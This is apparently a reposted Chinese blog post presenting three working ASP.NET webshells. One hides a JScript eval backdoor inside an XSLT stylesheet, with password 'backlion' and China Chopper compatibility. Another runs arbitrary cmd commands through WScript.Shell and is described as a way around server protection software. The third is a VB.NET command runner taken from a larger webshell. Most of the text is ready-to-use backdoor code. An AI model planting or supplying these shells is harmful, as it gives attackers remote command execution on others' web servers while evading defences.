（转）Xsl 的Webshell（aspx）版本

关于使用xsl的webshell以前已经有人发过了，比如aspx的一个webshell如下：

<%@ Page Language="C#" Debug="true" %>

<%@ import Namespace="System.IO"%>

<%@ import Namespace="System.Xml"%>

<%@ import Namespace="System.Xml.Xsl"%>

<%

string xml=@"<?xml version=""1.0""?><root>test</root>";

string xslt=@"<?xml version='1.0'?>

<xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">

    <msxsl:script language=""JScript"" implements-prefix=""zcg"">

        <msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>

        <msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>

        <msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>

        <msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>

        <![CDATA[function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['backlion'],'unsafe');Response.End();}]]>

    </msxsl:script>

<xsl:template match=""/root"">

    <xsl:value-of select=""zcg:xml()""/>

</xsl:template>

</xsl:stylesheet>";

XmlDocument xmldoc=new XmlDocument();

xmldoc.LoadXml(xml);

XmlDocument xsldoc=new XmlDocument();

xsldoc.LoadXml(xslt);

XslCompiledTransform xct=new XslCompiledTransform();

xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());

xct.Transform(xmldoc,null,new MemoryStream());

%>

密码为 backlion，这个webshell是可以用菜刀连接的，测试碰到这种情况：服务器有安全狗等防护软件，提交的各种数据包可能会拦截，而现在想要做的就是执行命令就可以了，为了方便，写了一个命令执行的webshell，可回显，可改密码，具体代码如下：

<%@page language="C#"%>

<%@ import Namespace="System.IO"%>

<%@ import Namespace="System.Xml"%>

<%@ import Namespace="System.Xml.Xsl"%>

<%

string xml=@"<?xml version=""1.0""?><root>test</root>";

string xslt=@"<?xml version='1.0'?>

<xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">

    <msxsl:script language=""JScript"" implements-prefix=""zcg"">

    <msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>

    <msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>

    <msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>

    <msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>

        <![CDATA[function xml(){

        var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;

        var command = Request.Item['cmd'];

        var r = new ActiveXObject(""WScript.Shell"").Exec(""cmd /c ""+command);

        var OutStream = r.StdOut;

        var Str = """";

        while (!OutStream.atEndOfStream) {

            Str = Str + OutStream.readAll();

            }

        Response.Write(""<pre>""+Str+""</pre>"");

        }]]>

    </msxsl:script>

<xsl:template match=""/root"">

    <xsl:value-of select=""zcg:xml()""/>

</xsl:template>

</xsl:stylesheet>";

XmlDocument xmldoc=new XmlDocument();

xmldoc.LoadXml(xml);

XmlDocument xsldoc=new XmlDocument();

xsldoc.LoadXml(xslt);

XsltSettings xslt_settings = new XsltSettings(false, true);

xslt_settings.EnableScript = true;

try{

    XslCompiledTransform xct=new XslCompiledTransform();

    xct.Load(xsldoc,xslt_settings,new XmlUrlResolver());

    xct.Transform(xmldoc,null,new MemoryStream());

}

catch (Exception e){

    Response.Write("Error");

}

%>

密码为cmd，可自己改，测试如下图：

附带一个大马里面的命令执行：

<%@ Page Language="VB" Debug="true" %>

<%@ import Namespace="system.IO" %>

<%@ import Namespace="System.Diagnostics" %>

<script runat="server">

Sub RunCmd(Src As Object, E As EventArgs)

  Dim myProcess As New Process()

  Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)

  myProcessStartInfo.UseShellExecute = false

  myProcessStartInfo.RedirectStandardOutput = true

  myProcess.StartInfo = myProcessStartInfo

  myProcessStartInfo.Arguments=xcmd.text

  myProcess.Start()

  Dim myStreamReader As StreamReader = myProcess.StandardOutput

  Dim myString As String = myStreamReader.Readtoend()

  myProcess.Close()

  mystring=replace(mystring,"<","&lt;")

  mystring=replace(mystring,">","&gt;")

  result.text= vbcrlf & "<pre>" & mystring & "</pre>"

End Sub

</script>

<html>

<body>

<form runat="server">

<p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>

<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>

<p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>

<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>

<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>

<p><asp:Label id="result" runat="server"></asp:Label>

</form>

</body>

</html>